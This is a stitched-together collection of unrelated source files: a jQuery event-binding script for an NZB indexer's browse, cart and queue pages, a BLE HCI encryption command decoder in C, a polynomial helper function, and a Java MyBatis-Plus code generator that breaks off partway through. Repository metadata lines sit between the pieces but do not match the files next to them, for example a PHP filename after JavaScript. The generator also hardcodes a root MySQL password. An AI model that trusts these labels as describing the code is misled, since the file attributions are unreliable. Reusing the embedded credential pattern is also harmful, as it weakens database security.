// event bindings
jQuery(function ($) {

    // browse.tpl, search.tpl -- show icons on hover
    var orig_opac = $('table.data tr').children('td.icons').children('div.icon').css('opacity');
    $('table.data tr').hover(
        function () { $(this).children('td.icons').children('div.icon').css('opacity', 1); },
        function () { $(this).children('td.icons').children('div.icon').css('opacity', orig_opac); }
    );

    $(".forumpostsubmit").click(function (e) {
        if ($.trim($("#addMessage").val()) === "" || $.trim($("#addSubject").val()) === "") {
            alert("Please enter a subject and message.");
            return false;
        }
    });

    $(".forumreplysubmit").click(function (e) {
        if ($.trim($("#addReply").val()) === "") {
            alert("Please enter a message.");
            return false;
        }
    });

    $(".check").click(function (e) {
        if (!$(e.target).is('input')) {
            $(this).children(".nzb_check").prop('checked', !$(this).children(".nzb_check").prop('checked'));
        }
    });

    $(".descmore").click(function (e) {
        $(".descinitial").hide();
        $(".descfull").show();
        return false;
    });

    $('.nzb_check_all').change(function () {
        $('table#browsetable tr td input:checkbox').prop('checked', $(this).prop('checked'));
    });

    $('.nzb_check_all_season').change(function () {
        var season = $(this).attr('name');
        $('table.data tr td input:checkbox').each(function (i, row) {
            if ($(row).attr('name') === season) {
                $(row).prop('checked', !$(row).prop('checked'));
            }
        });
    });

    // browse.tpl, search.tpl
    $('.icon_cart').click(function (e) {
        if ($(this).hasClass('icon_cart_clicked')) {
            return false;
        }
        var guid = $(this).parent().parent().attr('id').substring(4);
        $.post(SERVERROOT + "cart?add=" + guid, function (resp) {
            $(e.target).addClass('icon_cart_clicked').attr('title', 'Added to Cart');

            $.pnotify({
                title: 'ADDED!',
                text: 'Its now in your Cart! ^_^',
                type: 'success',
                animate_speed: 'fast',
                icon: 'fa fa-info'
            });

        });
        return false;
    });
    $('.icon_sab').click(function (e) { // replace with cookies?
        if ($(this).hasClass('icon_sab_clicked')) {
            return false;
        }
        var guid = $(this).parent().parent().attr('id').substring(4);
        var nzburl = SERVERROOT + "sendtoqueue/" + guid;

        $.post(nzburl, function (resp) {
            $(e.target).addClass('icon_sab_clicked').attr('title', 'Added to Queue');

            $.pnotify({
                title: 'ADDED TO QUEUE!',
                text: 'Its now in the queue!! ^_^',
                type: 'info',
                animate_speed: 'fast',
                icon: 'fa fa-info'
            });
        });
        return false;
    });

    $('.sendtocouch').click(function (e) {
        if ($(this).hasClass('icon_cp_clicked')) return false;
        var id = $(this).attr('id').substring(4);
        var cpurl = SERVERROOT + "sendtocouch/" + id;

        $.post(cpurl, function(resp){
            $(e.target).addClass('icon_cp_clicked').attr('title','Added to CouchPotato');
            $.pnotify({
                title: 'ADDED TO COUCHPOTATO!',
                text: 'Its now on your wanted list! ^_^',
                type: 'info',
                animate_speed: 'fast',
                icon: 'fa fa-info-sign'
            });
        });
    });

    // viewnzb.tpl,
    $('.icon_nzb_cart').click(function (e) {
        if ($(this).hasClass('icon_cart_clicked')) {
            return false;
        }
        var guid = $(this).parent().attr('id');
        $.post(SERVERROOT + "cart?add=" + guid, function (resp) {
            $(e.target).addClass('icon_cart_clicked').attr('title', 'Added to Cart');

            $.pnotify({
                title: 'ADDED!',
                text: 'Its now in your Cart! ^_^',
                type: 'success',
                animate_speed: 'fast',
                icon: 'fa fa-info'
            });
        });
        return false;
    });
    $('.icon_nzb_sab').click(function (e) { // replace with cookies?
        if ($(this).hasClass('icon_sab_clicked')) {
            return false;
        }
        var guid = $(this).parent().attr('id');
        var nzburl = SERVERROOT + "sendtoqueue/" + guid;

        $.post(nzburl, function (resp) {
            $(e.target).addClass('icon_sab_clicked').attr('title', 'Added to Queue');

            $.pnotify({
                title: 'ADDED TO QUEUE!',
                text: 'Its now in the queue!! ^_^',
                type: 'info',
                animate_speed: 'fast',
                icon: 'fa fa-info'
            });

        });
        return false;
    });
    $("table.data a.modal_nfo").colorbox({     // NFO modal
        href: function () { return $(this).attr('href') + '&modal'; },
        title: function () { return $(this).parent().parent().children('a.title').text(); },
        innerWidth: "800px", innerHeight: "90%", initialWidth: "800px", initialHeight: "90%", speed: 0, opacity: 0.7
    });
    // Screenshot modal
    $("table.data a.modal_prev").colorbox({maxWidth: "800px", maxHeight: "800x"});

    $("table.data a.modal_imdb").colorbox({    // IMDB modal
        href: function () { return SERVERROOT + "movie/" + $(this).attr('name').substring(4) + '&modal'; },
        title: function () { return $(this).parent().parent().children('a.title').text(); },
        innerWidth: "800px", innerHeight: "450px", initialWidth: "800px", initialHeight: "450px", speed: 0, opacity: 0.7
    }).click(function () {
        $('#colorbox').removeClass().addClass('cboxMovie');
    });

    $("table.data a.modal_xxx").colorbox({    // XXX modal
        href: function () { return SERVERROOT + "xxxmodal/" + $(this).attr('name').substring(4) + '&modal'; },
        title: function () { return $(this).parent().parent().children('a.title').text(); },
        innerWidth: "600px", innerHeight: "717px", initialWidth: "600px", initialHeight: "717px", speed: 0, opacity: 0.7
    }).click(function () {
        $('#colorbox').removeClass().addClass('cboxXXX');
    });

    $("table.data a.modal_music").colorbox({     // Music modal
        href: function () { return SERVERROOT + "musicmodal/"+$(this).attr('name').substring(4)+'&modal'; },
        title: function () { return $(this).parent().parent().children('a.title').text(); },
        innerWidth:"800px", innerHeight:"450px", initialWidth:"800px", initialHeight:"450px", speed:0, opacity:0.7
    }).click(function () {
        $('#colorbox').removeClass().addClass('cboxMusic');
    });
    $("table.data a.modal_console").colorbox({     // Console modal
        href: function () { return SERVERROOT + "consolemodal/"+$(this).attr('name').substring(4)+'&modal'; },
        title: function () { return $(this).parent().parent().children('a.title').text(); },
        innerWidth:"800px", innerHeight:"450px", initialWidth:"800px", initialHeight:"450px", speed:0, opacity:0.7
    }).click(function () {
        $('#colorbox').removeClass().addClass('cboxConsole');
    });
    $("table.data a.modal_book").colorbox({    // Book modal
        href: function () { return SERVERROOT + "bookmodal/"+$(this).attr('name').substring(4)+'&modal'; },
        title: function () { return $(this).parent().parent().children('a.title').text(); },
        innerWidth:"800px", innerHeight:"450px", initialWidth:"800px", initialHeight:"450px", speed:0, opacity:0.7
    }).click(function () {
        $('#colorbox').removeClass().addClass('cboxBook');
    });

    $('#nzb_multi_operations_form').submit(function () {return false;});
    $('button.nzb_multi_operations_download').click(function () {
        var ids = "";
        $("table.data INPUT[type='checkbox']:checked").each( function (i, row) {
            if ($(row).val()!="on")
                ids += $(row).val()+',';
        });
        ids = ids.substring(0,ids.length-1);
        if (ids)
            window.location = SERVERROOT + "getnzb?zip=1&id="+ids;
    });
    $('button.nzb_multi_operations_cart').click(function () {
        var guids = new Array();
        $("table.data INPUT[type='checkbox']:checked").each( function(i, row) {
            var guid = $(row).val();
            var $cartIcon = $(row).parent().parent().children('td.icons').children('.icon_cart');
            if (guid && !$cartIcon.hasClass('icon_cart_clicked')){
                $cartIcon.addClass('icon_cart_clicked').attr('title','Added to Cart');  // consider doing this only upon success
                guids.push(guid);
                $.pnotify({
                    title: 'ADDED!',
                    text: 'Its now in your Cart! ^_^',
                    type: 'success',
                    animate_speed: 'fast',
                    icon: 'fa fa-info'
                });
            }
            $(this).prop('checked', false);
        });
        $.post( SERVERROOT + "cart?add=" + guids);
    });
    $('button.nzb_multi_operations_sab').click(function () {
        $("table.data INPUT[type='checkbox']:checked").each( function(i, row) {
            var $sabIcon = $(row).parent().parent().children('td.icons').children('.icon_sab');
            var guid = $(row).val();
            if (guid && !$sabIcon.hasClass('icon_sab_clicked')) {
                var nzburl = SERVERROOT + "sendtoqueue/" + guid;
                $.post( nzburl, function(resp){
                    $sabIcon.addClass('icon_sab_clicked').attr('title','Added to Queue');
                    $.pnotify({
                            title: 'ADDED TO QUEUE!',
                            text: 'Its now in the queue!! ^_^',
                            type: 'info',
                            animate_speed: 'fast',
                            icon: 'fa fa-info'
                        });
                });
            }
            $(this).prop('checked', false);
        });
    });
    //front end admin functions
    $('button.nzb_multi_operations_edit').click(function () {
        var ids = "";
        $("table.data INPUT[type='checkbox']:checked").each( function (i, row) {
            if ($(row).val()!="on")
                ids += '&id[]='+$(row).val();
        });
        if (ids)
            $('button.nzb_multi_operations_edit').colorbox({
                href: function () { return SERVERROOT + "ajax_release-admin?action=edit"+ids+"&from="+encodeURIComponent(window.location); },
                title: 'Edit Release',
                innerWidth:"400px", innerHeight:"250px", initialWidth:"400px", initialHeight:"250px", speed:0, opacity:0.7
            });
    });
    $('button.nzb_multi_operations_delete').click(function () {
        var ids = "";
        $("table.data INPUT[type='checkbox']:checked").each( function (i, row) {
            if ($(row).val()!="on")
                ids += '&id[]='+$(row).val();
        });
        if (ids)
            if (confirm('Are you sure you want to delete the selected releases?')) {
                $.post(SERVERROOT + "ajax_release-admin?action=dodelete"+ids, function (resp) {
                    window.location = window.location;
                });
            }
    });
    //cart functions
    $('button.nzb_multi_operations_cartdelete').click(function () {
        var ids = [];
        $("table.data INPUT[type='checkbox']:checked").each( function (i, row) {
            if ($(row).val()!="on")
                ids.push($(row).val());
        });
        if (ids)
        {
            if (confirm('Are you sure you want to delete the selected releases from your cart?')) {
                $.post( SERVERROOT + "cart?delete", { 'delete': ids }, function (resp) {
                    window.location = window.location;
                });
            }
        }
    });

    // headermenu.tpl
    $('#headsearch')
        .focus(function () {if(this.value == 'Enter keywords') this.value = '';})
        .blur (function () {if(this.value === '') this.value = 'Enter keywords';});
    $('#headsearch_form').submit(function () {
        $('headsearch_go').trigger('click');
        return false;
    });
    $('#headsearch_go').click(function () {
        if ($('#headsearch').val() && $('#headsearch').val() != 'Enter keywords')
        {
            document.location= WWW_TOP + "/search/" + $('#headsearch').val() + ($("#headcat").val()!=-1 ? "?t="+$("#headcat").val() : "");
        }
    });

    // search.tpl
    $('#search_search_button').click(function () {
        if ($('#search').val())
            document.location=WWW_TOP + "/search/" + $('#search').val() + ($("#search_cat").val()!=-1 ? "?t="+$("#search_cat").val() : "");
        return false;
    });

    // login.tpl, register.tpl, search.tpl, searchraw.tpl
    if ($('#username').length)
        $('#username').focus();
    if ($('#search').length)
        $('#search').focus();

    // viewfilelist.tpl
    $('#viewfilelist_download_selected').click(function () {
        if ($('#fileform input:checked').length)
            $('#fileform').trigger('submit');
        return false;
    });

    // misc
    $('.confirm_action').click(function () { return confirm('Are you sure?'); });

    // mmenu
    $('.mmenu').click(function () {
        document.location=$(this).children('a').attr('href');
        return false;
    });

    // mmenu_new
    $('.mmenu_new').click(function () {
        window.open($(this).children('a').attr('href'));
        return false;
    });

    // searchraw.tpl, viewfilelist.tpl -- checkbox operations
    // selections
    var last1, last2;
    $(".checkbox_operations .select_all").click(function () {
        $("table.data INPUT[type='checkbox']").prop('checked', true).trigger('change');
        return false;
    });
    $(".checkbox_operations .select_none").click(function () {
        $("table.data INPUT[type='checkbox']").prop('checked', false).trigger('change');
        return false;
    });
    $(".checkbox_operations .select_invert").click(function () {
        $("table.data INPUT[type='checkbox']").each( function () {
            $(this).prop('checked', !$(this).prop('checked')).trigger('change');
        });
        return false;
    });
    $(".checkbox_operations .select_range").click(function () {
        if (last1 && last2 && last1 < last2)
            $("table.data INPUT[type='checkbox']").slice(last1,last2).prop('checked', true).trigger('change');
        else if (last1 && last2)
            $("table.data INPUT[type='checkbox']").slice(last2,last1).prop('checked', true).trigger('change');
        return false;
    });
    $('table.data td.check INPUT[type="checkbox"]').click(function (e) {
        // range event interaction -- see further above
        var rowNum = $(e.target).parent().parent()[0].rowIndex ;
        if (last1) last2 = last1;
        last1 = rowNum;

        // perform range selection
        if (e.shiftKey && last1 && last2) {
            if (last1 < last2)
                $("table.data INPUT[type='checkbox']").slice(last1,last2).prop('checked', true).trigger('change');
            else
                $("table.data INPUT[type='checkbox']").slice(last2,last1).prop('checked', true).trigger('change');
        }
    });
    $('table.data a.data_filename').click(function (e) { // click filenames to select
        // range event interaction -- see further above
        var rowNum = $(e.target).parent().parent()[0].rowIndex ;
        if (last1) last2 = last1;
        last1 = rowNum;

        var $checkbox = $('table.data tr:nth-child('+(rowNum+1)+') td.selection INPUT[type="checkbox"]');
        $checkbox.prop('checked', !$checkbox.prop('checked'));

        return false;
    });

    // show/hide invite form
    $('#lnkSendInvite').click(function ()
    {
        $('#divInvite').slideToggle('fast');
    });

    // send an invite
    $('#frmSendInvite').submit(function ()
    {
        var inputEmailto = $("#txtInvite").val();
        if (isValidEmailAddress(inputEmailto))
        {

            // no caching of results
            var rand_no = Math.random();
            $.ajax({
                url         : WWW_TOP + '/ajax_profile?action=1&rand=' + rand_no,
                data        : { emailto: inputEmailto},
                dataType    : "html",
                success     : function (data)
                {
                $("#txtInvite").val("");
                $('#divInvite').slideToggle('fast');
                $("#divInviteSuccess").text(data).show();
                $("#divInviteError").hide();
                },
                error: function (xhr,err,e) { alert( "Error in ajax_profile: " + err ); }
            });
        }
        else
        {
            $("#divInviteSuccess").hide();
            $("#divInviteError").text("Invalid email").show();
        }
        return false;
    });

    // movie.tpl
    $('.mlmore').click(function () {    // show more movies
        $(this).parent().parent().hide();
        $(this).parent().parent().parent().children(".mlextra").show();
        return false;
    });

    // lookup tmdb for a movie
    $('#frmMyMovieLookup').submit(function ()
    {
        var movSearchText = $("#txtsearch").val();
        // no caching of results
        var rand_no = Math.random();
        $.ajax({
            url         : WWW_TOP + '/ajax_mymovies?rand=' + rand_no,
            data        : { id: movSearchText},
            dataType    : "html",
            success     : function (data)
            {
            $("#divMovResults").html(data);
            },
            error: function (xhr,err,e) { alert( "Error in ajax_mymovies: " + err ); }
        });

        return false;
    });

    // file list tooltip
    $(".rarfilelist").each(function () {
        var guid = $(this).children('img').attr('alt');
        $(this).qtip({
            content: {
                title: {
                    text: 'rar archive contains...'
                },
                text: 'loading...', // The text to use whilst the AJAX request is loading
                ajax: {
                 url: SERVERROOT + 'ajax_rarfilelist', // URL to the local file
                 type: 'GET', // POST or GET
                 data: { id: guid }, // Data to pass along with your request
                 success: function (data, status) {
                    this.set('content.text', data);
                 }
                }
            },
            position: {
                my: 'top right',
                at: 'bottom left'
            },
            style: {
                classes: 'qtip-dark qtip-shadow qtip-rounded',
                width: { max: 500 },
                tip: { // Now an object instead of a string
                    corner: 'topRight', // We declare our corner within the object using the corner sub-option
                    size: {
                        x: 8, // Be careful that the x and y values refer to coordinates on screen, not height or width.
                        y : 8 // Depending on which corner your tooltip is at, x and y could mean either height or width!
                    }
                }
            }
        });
    });

    // seriesinfo tooltip
    $(".seriesinfo").each(function () {
        var guid = $(this).attr('title');
        $(this).qtip({
            content: {
                title: {
                    text: 'episode info...'
                },
                text: 'loading...', // The text to use whilst the AJAX request is loading
                ajax: {
                 url: SERVERROOT + 'ajax_tvinfo', // URL to the local file
                 type: 'GET', // POST or GET
                 data: { id: guid }, // Data to pass along with your request
                 success: function (data, status) {
                    this.set('content.text', data);
                 }
                }
            },
            style: {
                classes: 'qtip-dark qtip-shadow qtip-rounded'
            }
        });
    });

    // mediainfo tooltip
    $(".mediainfo").each(function () {
        var guid = $(this).attr('title');
        $(this).qtip({
            content: {
                title: {
                    text: 'extended media info...'
                },
                text: 'loading...', // The text to use whilst the AJAX request is loading
                ajax: {
                 url: SERVERROOT + 'ajax_mediainfo', // URL to the local file
                 type: 'GET', // POST or GET
                 data: { id: guid }, // Data to pass along with your request
                 success: function (data, status) {
                    this.set('content.text', data);
                 }
                }
            },
            style: {
                classes: 'qtip-dark qtip-shadow qtip-rounded',
                width: { max: 500 },
                tip: { // Now an object instead of a string
                    corner: 'topLeft', // We declare our corner within the object using the corner sub-option
                    size: {
                        x: 8, // Be careful that the x and y values refer to coordinates on screen, not height or width.
                        y : 8 // Depending on which corner your tooltip is at, x and y could mean either height or width!
                    }
                }
            }
        });
    });

    // preinfo tooltip
    $(".preinfo").each(function() {
        var preid = $(this).attr('title');
        $(this).qtip({
            content: {
              title: {
                  text: 'PreDB info...'
              },
              text: 'loading...', // The text to use whilst the AJAX request is loading
              ajax: {
                 url: SERVERROOT + 'ajax_preinfo', // URL to the local file
                 type: 'GET', // POST or GET
                 data: { id: preid }, // Data to pass along with your request
                 success: function(data, status) {
                    this.set('content.text', data);
                 }
              }
            },
            style: {
                classes: 'qtip-dark qtip-shadow qtip-rounded',
                width: { max: 500 },
                tip: { // Now an object instead of a string
                    corner: 'topLeft', // We declare our corner within the object using the corner sub-option
                    size: {
                        x: 8, // Be careful that the x and y values refer to coordinates on screen, not height or width.
                        y : 8 // Depending on which corner your tooltip is at, x and y could mean either height or width!
                    }
                }
            }
        });
    });
    // titleinfo tooltip
	$(".titleinfo").each(function() {
		var guid = $(this).attr('title');
		$(this).qtip({
			content: {
			  title: {
				  text: 'Release info...'
			  },
			  text: 'loading...', // The text to use whilst the AJAX request is loading
			  ajax: {
			     url: SERVERROOT + 'ajax_titleinfo', // URL to the local file
			     type: 'GET', // POST or GET
			     data: { id: guid }, // Data to pass along with your request
			     success: function(data, status) {
			        this.set('content.text', data);
			     }
			  }
			},
			style: {
				classes: 'qtip-dark qtip-shadow qtip-rounded',
				width: { max: 500 },
				tip: { // Now an object instead of a string
					corner: 'topLeft', // We declare our corner within the object using the corner sub-option
					size: {
					x: 8, // Be careful that the x and y values refer to coordinates on screen, not height or width.
					y : 8 // Depending on which corner your tooltip is at, x and y could mean either height or width!
					}
				}
			}
		});
	});
});

$.extend({ // http://plugins.jquery.com/project/URLEncode
URLEncode:function (c){var o='';var x=0;c=c.toString();var r=/(^[a-zA-Z0-9_.]*)/;
    while(x<c.length){var m=r.exec(c.substr(x));
    if(m!==null && m.length>1 && m[1]!==''){o+=m[1];x+=m[1].length;
    }else{if(c[x]==' ')o+='+';else{var d=c.charCodeAt(x);var h=d.toString(16);
    o+='%'+(h.length<2?'0':'')+h.toUpperCase();}x++;}}return o;},
URLDecode:function (s){var o=s;var binVal,t;var r=/(%[^%]{2})/;
    while((m=r.exec(o))!==null && m.length>1 && m[1]!==''){b=parseInt(m[1].substr(1),16);
    t=String.fromCharCode(b);o=o.replace(m[1],t);}return o;}
});

function isValidEmailAddress(emailAddress)
{
    var pattern = new RegExp(/^(("[\w-\s]+")|([\w-]+(?:\.[\w-]+)*)|("[\w-\s]+")([\w-]+(?:\.[\w-]+)*))(@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$)|(@\[?((25[0-5]\.|2[0-4][0-9]\.|1[0-9]{2}\.|[0-9]{1,2}\.))((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\.){2}(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\]?$)/i);
    return pattern.test(emailAddress);
}

function mymovie_del(imdbid, btn)
{
        var rand_no = Math.random();
        $.ajax({
            url         : WWW_TOP + '/ajax_mymovies?rand=' + rand_no,
            data        : { del: imdbid},
            dataType    : "html",
            success     : function (data)
            {
                $(btn).hide();
                $(btn).prev("a").show();
            },
            error: function (xhr,err,e) {    }
        });

        return false;
}

function mymovie_add(imdbid, btn)
{
        $(btn).hide();
        $(btn).next("a").show();

        var rand_no = Math.random();
        $.ajax({
            url         : WWW_TOP + '/ajax_mymovies?rand=' + rand_no,
            data        : { add: imdbid},
            dataType    : "html",
            success     : function (data)
            {
            },
            error: function (xhr,err,e) {    }
        });

        return false;
}

{'repo_name': 'nZEDb/nZEDb', 'stars': '522', 'repo_language': 'PHP', 'file_name': 'PopulateTitles.php', 'mime_type': 'text/x-php', 'hash': 437859014131453333, 'source_dataset': 'data'}


{'repo_name': 'jefflomacy/villagerdb', 'stars': '170', 'repo_language': 'JavaScript', 'file_name': 'tammi.json', 'mime_type': 'text/plain', 'hash': 6649149203446690992, 'source_dataset': 'data'}


/*************************************************************************************************/
/*!
 *  \file
 *
 *  \brief  HCI command module implementation file.
 *
 *  Copyright (c) 2013-2018 Arm Ltd. All Rights Reserved.
 *
 *  Copyright (c) 2019-2020 Packetcraft, Inc.
 *
 *  Licensed under the Apache License, Version 2.0 (the "License");
 *  you may not use this file except in compliance with the License.
 *  You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 *  Unless required by applicable law or agreed to in writing, software
 *  distributed under the License is distributed on an "AS IS" BASIS,
 *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 *  See the License for the specific language governing permissions and
 *  limitations under the License.
 */
/*************************************************************************************************/

#include "lhci_int.h"
#include "hci_defs.h"
#include "ll_api.h"
#include "ll_defs.h"
#include "wsf_msg.h"
#include "util/bstream.h"
#include <string.h>

/*************************************************************************************************/
/*!
 *  \brief  Pack a advertising report event packet.
 *
 *  \param  pBuf        Packed packet buffer.
 *  \param  status      Status code.
 *  \param  pData       Encrypted data.
 *
 *  \return Packet length.
 */
/*************************************************************************************************/
static uint8_t lhciPackEncryptEvt(uint8_t *pBuf, uint8_t status, uint8_t *pData)
{
  const uint8_t len = LHCI_LEN_LE_ENCRYPT_EVT;

  UINT8_TO_BSTREAM (pBuf, status);
  memcpy(pBuf, pData, HCI_ENCRYPT_DATA_LEN);

  return len;
}

/*************************************************************************************************/
/*!
 *  \brief  Pack a common status and handle event.
 *
 *  \param  pBuf        Packed packet buffer.
 *  \param  status      Completion status.
 *  \param  handle      Connection handle.
 *
 *  \return Packet length.
 */
/*************************************************************************************************/
static uint8_t lhciPackCommonStatusHandleEvt(uint8_t *pBuf, uint8_t status, uint16_t handle)
{
  const uint8_t len = 3;

  UINT8_TO_BSTREAM (pBuf, status);
  UINT16_TO_BSTREAM(pBuf, handle);

  return len;
}

/*************************************************************************************************/
/*!
 *  \brief  Pack a read authenticated payload TO event.
 *
 *  \param  pBuf        Packed packet buffer.
 *  \param  status      Completion status.
 *  \param  handle      Connection handle.
 *  \param  timeout     Authenticated payload timeout.
 *
 *  \return Packet length.
 */
/*************************************************************************************************/
static uint8_t lhciPackReadAuthPayloadTimeoutEvt(uint8_t *pBuf, uint8_t status, uint16_t handle, uint16_t timeout)
{
  const uint8_t len = LHCI_LEN_READ_AUTH_PAYLOAD_TO_EVT;

  UINT8_TO_BSTREAM (pBuf, status);
  UINT16_TO_BSTREAM(pBuf, handle);
  UINT16_TO_BSTREAM(pBuf, timeout);

  return len;
}

/*************************************************************************************************/
/*!
 *  \brief  Build and send a command complete event packet.
 *
 *  \param  pCmdHdr     Command HCI header.
 *  \param  status      Status value.
 *  \param  paramLen    Parameter length of the command status event.
 *  \param  pParam      Parameter buffer.
 *  \param  handle      Connection handle.
 */
/*************************************************************************************************/
static void lhciSlvEncSendCmdCmplEvt(LhciHdr_t *pCmdHdr, uint8_t status, uint8_t paramLen, uint8_t *pParam, uint16_t handle)
{
  uint8_t *pBuf;
  uint8_t *pEvtBuf;

  if ((pEvtBuf = lhciAllocCmdCmplEvt(paramLen, pCmdHdr->opCode)) == NULL)
  {
    return;
  }
  pBuf = pEvtBuf;

  switch (pCmdHdr->opCode)
  {
    /* --- Encryption --- */

    case HCI_OPCODE_LE_ENCRYPT:
      lhciPackEncryptEvt(pBuf, status, pParam);
      break;
    case HCI_OPCODE_LE_LTK_REQ_REPL:
    case HCI_OPCODE_LE_LTK_REQ_NEG_REPL:
    case HCI_OPCODE_WRITE_AUTH_PAYLOAD_TO:
      lhciPackCommonStatusHandleEvt(pBuf, status, handle);
      break;
    case HCI_OPCODE_READ_AUTH_PAYLOAD_TO:
    {
      uint16_t timeout = 0;
      status = LlReadAuthPayloadTimeout(handle, &timeout);
      lhciPackReadAuthPayloadTimeoutEvt(pBuf, status, handle, timeout);
      break;
    }

    /* --- default --- */

    default:
      break;
  }

  lhciSendCmdCmplEvt(pEvtBuf);
}

/*************************************************************************************************/
/*!
 *  \brief  Decode an HCI command packet.
 *
 *  \param  pHdr    Decoded packet header.
 *  \param  pBuf    Packed HCI packet buffer.
 *
 *  Command processing is organized by urgency then by frequency of command calls during normal
 *  operation. The following grouping is used:
 *      - encryption
 *      - default/unused
 *
 *  \return TRUE if opcode handled, FALSE otherwise.
 */
/*************************************************************************************************/
bool_t lhciSlvEncDecodeCmdPkt(LhciHdr_t *pHdr, uint8_t *pBuf)
{
#if LHCI_ENABLE_VS
  if (lhciSlvEncVsStdDecodeCmdPkt(pHdr, pBuf))
  {
    return TRUE;
  }
#endif

  uint8_t status = HCI_SUCCESS;
  uint8_t paramLen = 0;
  uint8_t *pParam = NULL;
  uint16_t handle = 0;

  switch (pHdr->opCode)
  {
    /* --- Encryption --- */

    case HCI_OPCODE_LE_ENCRYPT:
    {
      uint8_t *pKey = pBuf;
      pParam = pBuf + HCI_KEY_LEN;
      LlEncrypt(pKey, pParam);
      paramLen = LHCI_LEN_LE_ENCRYPT_EVT;
      break;
    }
    case HCI_OPCODE_LE_LTK_REQ_REPL:
      BSTREAM_TO_UINT16(handle, pBuf);
      status = LlLtkReqReply(handle, pBuf);
      paramLen = LHCI_LEN_LE_LTK_REQ_REPL_EVT;
      break;
    case HCI_OPCODE_LE_LTK_REQ_NEG_REPL:
      BSTREAM_TO_UINT16(handle, pBuf);
      status = LlLtkReqNegReply(handle);
      paramLen = LHCI_LEN_LE_LTK_REQ_NEG_REPL_EVT;
      break;
    case HCI_OPCODE_READ_AUTH_PAYLOAD_TO:
      BSTREAM_TO_UINT16(handle, pBuf);
      paramLen = LHCI_LEN_READ_AUTH_PAYLOAD_TO_EVT;
      break;
    case HCI_OPCODE_WRITE_AUTH_PAYLOAD_TO:
    {
      uint16_t timeout;
      BSTREAM_TO_UINT16(handle, pBuf);
      BSTREAM_TO_UINT16(timeout, pBuf);
      status = LlWriteAuthPayloadTimeout(handle, timeout);
      paramLen = LHCI_LEN_WRITE_AUTH_PAYLOAD_TO_EVT;
      break;
    }

    /* --- default --- */

    default:
      return FALSE;       /* exit dispatcher routine */
  }

  lhciSlvEncSendCmdCmplEvt(pHdr, status, paramLen, pParam, handle);

  return TRUE;
}

{'repo_name': 'ARMmbed/mbed-os', 'stars': '3304', 'repo_language': 'C', 'file_name': 'system_stm32f7xx.c', 'mime_type': 'text/x-c', 'hash': -6739793567262336280, 'source_dataset': 'data'}


// _Poly function
#include "xmath.h"

double _Poly(double x, const double* tab, int n) { // compute polynomial
    double y;

    for (y = *tab; 0 <= --n;) {
        y = y * x + *++tab;
    }

    return y;
}

/*
 * Copyright (c) by P.J. Plauger. All rights reserved.
 * Consult your license regarding permissions and restrictions.
V6.50:0009 */

{'repo_name': 'Chuyu-Team/VC-LTL', 'stars': '798', 'repo_language': 'C++', 'file_name': 'sourceannotations.h', 'mime_type': 'text/x-c++', 'hash': -5948104370154779526, 'source_dataset': 'data'}


package org.ibase4j;

import java.util.HashMap;
import java.util.Map;

import com.baomidou.mybatisplus.generator.AutoGenerator;
import com.baomidou.mybatisplus.generator.InjectionConfig;
import com.baomidou.mybatisplus.generator.config.DataSourceConfig;
import com.baomidou.mybatisplus.generator.config.GlobalConfig;
import com.baomidou.mybatisplus.generator.config.PackageConfig;
import com.baomidou.mybatisplus.generator.config.StrategyConfig;
import com.baomidou.mybatisplus.generator.config.TemplateConfig;
import com.baomidou.mybatisplus.generator.config.rules.DbType;
import com.baomidou.mybatisplus.generator.config.rules.NamingStrategy;

/**
 * 代码生成 注意：不生成service接口 注意：不生成service接口 注意：不生成service接口
 *
 * @author ShenHuaJie
 */
public class Generator {
    /**
     * 测试 run 执行 注意：不生成service接口 注意：不生成service接口 注意：不生成service接口
     */
    public static void main(String[] args) {
        AutoGenerator mpg = new AutoGenerator();
        // 全局配置
        GlobalConfig gc = new GlobalConfig();
        gc.setOutputDir("D://");
        gc.setFileOverride(true);
        gc.setActiveRecord(false);
        gc.setEnableCache(true);// XML 二级缓存
        gc.setBaseResultMap(false);// XML ResultMap
        gc.setBaseColumnList(false);// XML columList
        gc.setOpen(false);
        gc.setAuthor("ShenHuaJie");
        mpg.setGlobalConfig(gc);
        // 数据源配置
        DataSourceConfig dsc = new DataSourceConfig();
        dsc.setDbType(DbType.MYSQL);
        dsc.setDriverName("com.mysql.cj.jdbc.Driver");
        dsc.setUsername("root");
        dsc.setPassword("buzhidao");
        dsc.setUrl("jdbc:mysql://127.0.0.1:3306/ibase4j?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&allowMultiQueries=true&serverTimezone=PRC&useSSL=false");
        mpg.setDataSource(dsc);
        // 策略配置
        StrategyConfig strategy = new StrategyConfig();
        //strategy.setTablePrefix("t_");// 此处可以修改为您的表前缀
        strategy.setNaming(NamingStrategy.underline_to_camel);// 表名生成策略
        //strategy.setInclude(new String[]{"t_accusation"}); // 需要生成的表
        // strategy.setExclude(new String[]{"test"}); // 排除生成的表
        // 自定义实体父类
        strategy.setSuperEntityClass("top.ibase4j.core.base.BaseModel");
        // 自定义实体，公共字段
        strategy.setSuperEntityColumns(
            new String[]{"id_", "enable_", "remark_", "create_by", "create_time", "update_by", "update_time"});
        // 自定义 mapper 父类
        strategy.setSuperMapperClass("top.ibase4j.core.base.BaseMapper");
        // 自定义 service 父类
        strategy.setSuperServiceClass("top.ibase4j.core.base.IBaseService");
        // 自定义 service 实现类父类
        strategy.setSuperServiceImplClass("top.ibase4j.core.base.BaseService");
        // 自定义 controller 父类
        strategy.setSuperControllerClass("top.ibase4j.core.base.BaseController");
        // 【实体】是否生成字段常量（默认 false）
        // public static final String ID = "test_id";
        // strategy.setEntityColumnConstant(true);
        // 【实体】是否为构建者模型（默认 false）
        // public User setName(String name) {this.name = name; return this;}
        // strategy.setEntityBuliderModel(true);
        strategy.setLogicDeleteFieldName("enable");
        mpg.setStrategy(strategy);
        // 注入自定义配置，可以在 VM 中使用 cfg.abc 设置的值
        InjectionConfig cfg = new InjectionConfig() {
            @Override
            public void initMap() {
                Map<String, Object> map = new HashMap<String, Object>();
                map.put("rpcService", false);
                this.setMap(map);
            }
        };
        mpg.setCfg(cfg);
        // 包配置
        PackageConfig pc = new PackageConfig();
        pc.setParent("org.ibase4j");
        pc.setEntity("model");
        pc.setMapper("mapper");
        pc.setXml("mapper");
